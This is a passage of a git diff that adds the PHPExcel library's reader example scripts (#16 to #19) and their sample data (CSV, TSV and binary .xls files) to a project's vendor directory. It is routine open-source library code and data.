        '; + $objPHPExcel->setActiveSheetIndexByName($loadedSheetName); + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,false,false,true); + var_dump($sheetData); + echo '
        '; +} + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader16.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader16.php new file mode 100644 index 00000000..62d82ea9 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader16.php @@ -0,0 +1,46 @@ + + + + + +PHPExcel Reader Example #16 + + + + +

        PHPExcel Reader Example #16

        +

        Handling Loader Exceptions using Try/Catch

        +'; +try { + $objPHPExcel = PHPExcel_IOFactory::load($inputFileName); +} catch(PHPExcel_Reader_Exception $e) { + die('Error loading file "'.pathinfo($inputFileName,PATHINFO_BASENAME).'": '.$e->getMessage()); +} + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader17.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader17.php new file mode 100644 index 00000000..1f77c561 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader17.php @@ -0,0 +1,52 @@ + + + + + +PHPExcel Reader Example #17 + + + + +

        PHPExcel Reader Example #17

        +

        Simple File Reader Loading Several Named WorkSheets

        +'; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); + + +/** Read the list of Worksheet Names from the Workbook file **/ +echo 'Read the list of Worksheets in the WorkBook
        '; +$worksheetNames = $objReader->listWorksheetNames($inputFileName); + +echo 'There are ',count($worksheetNames),' worksheet',((count($worksheetNames) == 1) ? '' : 's'),' in the workbook

        '; +foreach($worksheetNames as $worksheetName) { + echo $worksheetName,'
        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader18.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader18.php new file mode 100644 index 00000000..438d8869 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader18.php @@ -0,0 +1,50 @@ + + + + + +PHPExcel Reader Example #18 + + + + +

        PHPExcel Reader Example #18

        +

        Reading list of WorkSheets without loading entire file

        +'; + +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +$worksheetNames = $objReader->listWorksheetNames($inputFileName); + +echo '

        Worksheet Names

        '; +echo '
          '; +foreach ($worksheetNames as $worksheetName) { + echo '
        1. ', $worksheetName, '
        2. '; +} +echo '
        '; + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader19.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader19.php new file mode 100644 index 00000000..2f3eaaf2 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader19.php @@ -0,0 +1,53 @@ + + + + + +PHPExcel Reader Example #19 + + + + +

        PHPExcel Reader Example #19

        +

        Reading WorkSheet information without loading entire file

        +'; + +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +$worksheetData = $objReader->listWorksheetInfo($inputFileName); + +echo '

        Worksheet Information

        '; +echo '
          '; +foreach ($worksheetData as $worksheet) { + echo '
        1. ', $worksheet['worksheetName'], '
          '; + echo 'Rows: ', $worksheet['totalRows'], ' Columns: ', $worksheet['totalColumns'], '
          '; + echo 'Cell Range: A1:', $worksheet['lastColumnLetter'], $worksheet['totalRows']; + echo '
        2. '; +} +echo '
        '; + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.csv b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.csv new file mode 100644 index 00000000..6344d9f8 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.csv @@ -0,0 +1,4 @@ +First Name,Last Name,Nationality,Gender,Date of Birth,Time of Birth,Date/Time,PHP Coder,Sanity %Age +Mark,Baker,British,M,19-Dec-1960,01:30,=E2+F2,TRUE,32% +Toni,Baker,British,F,24-Nov-1950,20:00,=E3+F3,FALSE,95% +Rachel,Baker,British,F,7-Dec-1982,00:15,=E4+F4,FALSE,100% \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.tsv b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.tsv new file mode 100644 index 00000000..35de4763 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.tsv @@ -0,0 +1,4 @@ +First Name Last Name Nationality Gender Date of Birth Time of Birth Date/Time PHP Coder Sanity %Age +Mark Baker British M 19-Dec-1960 01:30 =E2+F2 TRUE 32% +Toni Baker British F 24-Nov-1950 20:00 =E3+F3 FALSE 95% +Rachel Baker British F 7-Dec-1982 00:15 =E4+F4 FALSE 100% \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.xls b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example1.xls new file mode 100644 index 0000000000000000000000000000000000000000..bd9bb110b9a41b0aab816ba9e20682ee5bb43aea GIT binary patch literal 22528 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 literal 0 HcmV?d00001 diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example2.csv b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example2.csv new file mode 100644 index 00000000..3f5e9987 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example2.csv @@ -0,0 +1,223 @@ +"City","Country","Latitude","Longitude" +"Kabul","Afghanistan",34.528455,69.171703 +"Tirane","Albania",41.33,19.82 +"Algiers","Algeria",36.752887,3.042048 +"Pago Pago","American Samoa",-14.27933,-170.700897 +"Andorra la Vella","Andorra",42.507531,1.521816 +"Luanda","Angola",-8.838333,13.234444 +"Buenos Aires","Argentina",-34.608417,-58.373161 +"Yerevan","Armenia",40.183333,44.516667 +"Oranjestad","Aruba",12.52458,-70.026459 +"Canberra","Australia",-35.3075,149.124417 +"Vienna","Austria",48.208333,16.373056 +"Baku","Azerbaijan",40.379571,49.891233 +"Nassau","Bahamas",25.06,-77.345 +"Manama","Bahrain",26.216667,50.583333 +"Dhaka","Bangladesh",23.709921,90.407143 +"Bridgetown","Barbados",13.096111,-59.608333 +"Minsk","Belarus",53.9,27.566667 +"Brussels","Belgium",50.846281,4.354727 +"Belmopan","Belize",17.251389,-88.766944 +"Thimphu","Bhutan",27.466667,89.641667 +"La Paz","Bolivia",-16.49901,-68.146248 +"Sarajevo","Bosnia and Herzegovina",43.8476,18.3564 +"Gaborone","Botswana",-24.65411,25.908739 +"Brasilia","Brazil",-15.780148,-47.92917 +"Road Town","British Virgin Islands",18.433333,-64.616667 +"Bandar Seri Begawan","Brunei Darussalam",4.9431,114.9425 +"Sofia","Bulgaria",42.697626,23.322284 +"Ouagadougou","Burkina Faso",12.364637,-1.533864 +"Bujumbura","Burundi",-3.361378,29.359878 +"Phnom Penh","Cambodia",11.55,104.916667 +"Yaounde","Cameroon",3.866667,11.516667 +"Ottawa","Canada",45.423494,-75.697933 +"Praia","Cape Verde",14.920833,-23.508333 +"George Town","Cayman Islands",19.286932,-81.367439 +"Bangui","Central African Republic",4.361698,18.555975 +"N'Djamena","Chad",12.104797,15.044506 +"Santiago","Chile",-33.42536,-70.566466 +"Beijing","China",39.904667,116.408198 +"Bogota","Colombia",4.647302,-74.096268 +"Moroni","Comoros",-11.717216,43.247315 +"Brazzaville","Congo",-4.266667,15.283333 +"San Jose","Costa Rica",9.933333,-84.083333 +"Yamoussoukro","Cote d'Ivoire",6.816667,-5.283333 +"Zagreb","Croatia",45.814912,15.978515 +"Havana","Cuba",23.133333,-82.366667 +"Nicosia","Cyprus",35.166667,33.366667 +"Prague","Czech Republic",50.087811,14.42046 +"Kinshasa","Congo",-4.325,15.322222 +"Copenhagen","Denmark",55.676294,12.568116 +"Djibouti","Djibouti",11.588,43.145 +"Roseau","Dominica",15.301389,-61.388333 +"Santo Domingo","Dominican Republic",18.5,-69.983333 +"Dili","East Timor",-8.566667,125.566667 +"Quito","Ecuador",-0.229498,-78.524277 +"Cairo","Egypt",30.064742,31.249509 +"San Salvador","El Salvador",13.69,-89.190003 +"Malabo","Equatorial Guinea",3.75,8.783333 +"Asmara","Eritrea",15.33236,38.92617 +"Tallinn","Estonia",59.438862,24.754472 +"Addis Ababa","Ethiopia",9.022736,38.746799 +"Stanley","Falkland Islands",-51.700981,-57.84919 +"Torshavn","Faroe Islands",62.017707,-6.771879 +"Suva","Fiji",-18.1416,178.4419 +"Helsinki","Finland",60.169813,24.93824 +"Paris","France",48.856667,2.350987 +"Cayenne","French Guiana",4.9227,-52.3269 +"Papeete","French Polynesia",-17.535021,-149.569595 +"Libreville","Gabon",0.390841,9.453644 +"Banjul","Gambia",13.453056,-16.5775 +"T'bilisi","Georgia",41.716667,44.783333 +"Berlin","Germany",52.523405,13.4114 +"Accra","Ghana",5.555717,-0.196306 +"Athens","Greece",37.97918,23.716647 +"Nuuk","Greenland",64.18362,-51.721407 +"Basse-Terre","Guadeloupe",15.998503,-61.72202 +"Guatemala","Guatemala",14.641389,-90.513056 +"St. Peter Port","Guernsey",49.458858,-2.534752 +"Conakry","Guinea",9.537029,-13.67847 +"Bissau","Guinea-Bissau",11.866667,-15.6 +"Georgetown","Guyana",6.804611,-58.154831 +"Port-au-Prince","Haiti",18.539269,-72.336408 +"Tegucigalpa","Honduras",14.082054,-87.206285 +"Budapest","Hungary",47.498406,19.040758 +"Reykjavik","Iceland",64.135338,-21.89521 +"New Delhi","India",28.635308,77.22496 +"Jakarta","Indonesia",-6.211544,106.845172 +"Tehran","Iran",35.696216,51.422945 +"Baghdad","Iraq",33.3157,44.3922 +"Dublin","Ireland",53.344104,-6.267494 +"Jerusalem","Israel",31.7857,35.2007 +"Rome","Italy",41.895466,12.482324 +"Kingston","Jamaica",17.992731,-76.792009 +"St. Helier","Jersey",49.190278,-2.108611 +"Amman","Jordan",31.956578,35.945695 +"Astana","Kazakhstan",51.10,71.30 +"Nairobi","Kenya",-01.17,36.48 +"Tarawa","Kiribati",01.30,173.00 +"Seoul","South Korea",37.31,126.58 +"Kuwait City","Kuwait",29.30,48.00 +"Bishkek","Kyrgyzstan",42.54,74.46 +"Riga","Latvia",56.53,24.08 +"Beirut","Lebanon",33.53,35.31 +"Maseru","Lesotho",-29.18,27.30 +"Monrovia","Liberia",06.18,-10.47 +"Vaduz","Liechtenstein",47.08,09.31 +"Vilnius","Lithuania",54.38,25.19 +"Luxembourg","Luxembourg",49.37,06.09 +"Antananarivo","Madagascar",-18.55,47.31 +"Lilongwe","Malawi",-14.00,33.48 +"Kuala Lumpur","Malaysia",03.09,101.41 +"Male","Maldives",04.00,73.28 +"Bamako","Mali",12.34,-07.55 +"Valletta","Malta",35.54,14.31 +"Fort-de-France","Martinique",14.36,-61.02 +"Nouakchott","Mauritania",-20.10,57.30 +"Mamoudzou","Mayotte",-12.48,45.14 +"Mexico City","Mexico",19.20,-99.10 +"Palikir","Micronesia",06.55,158.09 +"Chisinau","Moldova",47.02,28.50 +"Maputo","Mozambique",-25.58,32.32 +"Yangon","Myanmar",16.45,96.20 +"Windhoek","Namibia",-22.35,17.04 +"Kathmandu","Nepal",27.45,85.20 +"Amsterdam","Netherlands",52.23,04.54 +"Willemstad","Netherlands Antilles",12.05,-69.00 +"Noumea","New Caledonia",-22.17,166.30 +"Wellington","New Zealand",-41.19,174.46 +"Managua","Nicaragua",12.06,-86.20 +"Niamey","Niger",13.27,02.06 +"Abuja","Nigeria",09.05,07.32 +"Kingston","Norfolk Island",-45.20,168.43 +"Saipan","Northern Mariana Islands",15.12,145.45 +"Oslo","Norway",59.55,10.45 +"Masqat","Oman",23.37,58.36 +"Islamabad","Pakistan",33.40,73.10 +"Koror","Palau",07.20,134.28 +"Panama City","Panama",09.00,-79.25 +"Port Moresby","Papua New Guinea",-09.24,147.08 +"Asuncion","Paraguay",-25.10,-57.30 +"Lima","Peru",-12.00,-77.00 +"Manila","Philippines",14.40,121.03 +"Warsaw","Poland",52.13,21.00 +"Lisbon","Portugal",38.42,-09.10 +"San Juan","Puerto Rico",18.28,-66.07 +"Doha","Qatar",25.15,51.35 +"Bucuresti","Romania",44.27,26.10 +"Moskva","Russian Federation",55.45,37.35 +"Kigali","Rawanda",-01.59,30.04 +"Basseterre","Saint Kitts and Nevis",17.17,-62.43 +"Castries","Saint Lucia",14.02,-60.58 +"Saint-Pierre","Saint Pierre and Miquelon",46.46,-56.12 +"Apia","Samoa",-13.50,-171.50 +"San Marino","San Marino",43.55,12.30 +"Sao Tome","Sao Tome and Principe",00.10,06.39 +"Riyadh","Saudi Arabia",24.41,46.42 +"Dakar","Senegal",14.34,-17.29 +"Freetown","Sierra Leone",08.30,-13.17 +"Bratislava","Slovakia",48.10,17.07 +"Ljubljana","Slovenia",46.04,14.33 +"Honiara","Solomon Islands",-09.27,159.57 +"Mogadishu","Somalia",02.02,45.25 +"Pretoria","South Africa",-25.44,28.12 +"Madrid","Spain",40.25,-03.45 +"Khartoum","Sudan",15.31,32.35 +"Paramaribo","Suriname",05.50,-55.10 +"Mbabane","Swaziland",-26.18,31.06 +"Stockholm","Sweden",59.20,18.03 +"Bern","Switzerland",46.57,07.28 +"Damascus","Syrian Arab Republic",33.30,36.18 +"Dushanbe","Tajikistan",38.33,68.48 +"Bangkok","Thailand",13.45,100.35 +"Lome","Togo",06.09,01.20 +"Nuku'alofa","Tonga",-21.10,-174.00 +"Tunis","Tunisia",36.50,10.11 +"Ankara","Turkey",39.57,32.54 +"Ashgabat","Turkmenistan",38.00,57.50 +"Funafuti","Tuvalu",-08.31,179.13 +"Kampala","Uganda",00.20,32.30 +"Kiev","Ukraine",50.30,30.28 +"Abu Dhabi","United Arab Emirates",24.28,54.22 +"London","United Kingdom",51.36,-00.05 +"Dodoma","Tanzania",-06.08,35.45 +"Washington DC","United States of America",39.91,-77.02 +"Montevideo","Uruguay",-34.50,-56.11 +"Tashkent","Uzbekistan",41.20,69.10 +"Port-Vila","Vanuatu",-17.45,168.18 +"Caracas","Venezuela",10.30,-66.55 +"Hanoi","Viet Nam",21.05,105.55 +"Belgrade","Yugoslavia",44.50,20.37 +"Lusaka","Zambia",-15.28,28.16 +"Harare","Zimbabwe",-17.43,31.02 +"St. John's","Antigua and Barbuda",17.08,-61.50 +"Porto Novo","Benin",06.30,02.47 +"Hamilton","Bermuda"","32.18,-64.48 +"Avarua","Cook Islands",-21.12,-159.46 +"St. George's","Grenada",12.04,-61.44 +"Agaa","Guam",13.28,144.45 +"Victoria","Hong Kong",22.16,114.13 +"Tokyo","Japan",35.40,139.45 +"Pyongyang","North Korea",39.00,125.47 +"Vientiane","Laos",17.59,102.38 +"Tripoli","Libya",32.54,013.11 +"Skopje","Macedonia",42.00,021.28 +"Majuro","Marshall Islands",07.05,171.08 +"Port Louis","Mauritius",-20.10,57.30 +"Monaco","Monaco",43.44,007.25 +"Ulan Bator","Mongolia",47.54,106.52 +"Plymouth","Montserrat",16.44,-62.14 +"Rabat","Morocco",34.02,-06.51 +"Alofi","Niue",-14.27,-178.05 +"Saint-Denis","Runion",-20.52,55.27 +"Victoria","Seychelles",-04.38,55.28 +"Singapore","Singapore",01.18,103.50 +"Colombo","Sri Lanka",06.55,79.52 +"Kingstown","St Vincent and the Grenadines",13.12,-61.14 +"Taipei","Taiwan",25.50,121.32 +"Port-of-Spain","Trinidad and Tobago",10.38,-61.31 +"Cockburn Harbour","Turks and Caicos Islands",21.30,-71.30 +"Charlotte Amalie","US Virgin Islands",18.22,-64.56 +"Vatican City","Vatican State",41.54,12.27 +"Layoune","Western Sahara",27.10,-13.11 +"San'a","Yemen",15.24,44.14 diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example2.xls b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/sampleData/example2.xls new file mode 100644 index 0000000000000000000000000000000000000000..dd213ab9428bc6fbdd8caf253528b92367e9a9e1 GIT binary patch literal 36864 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 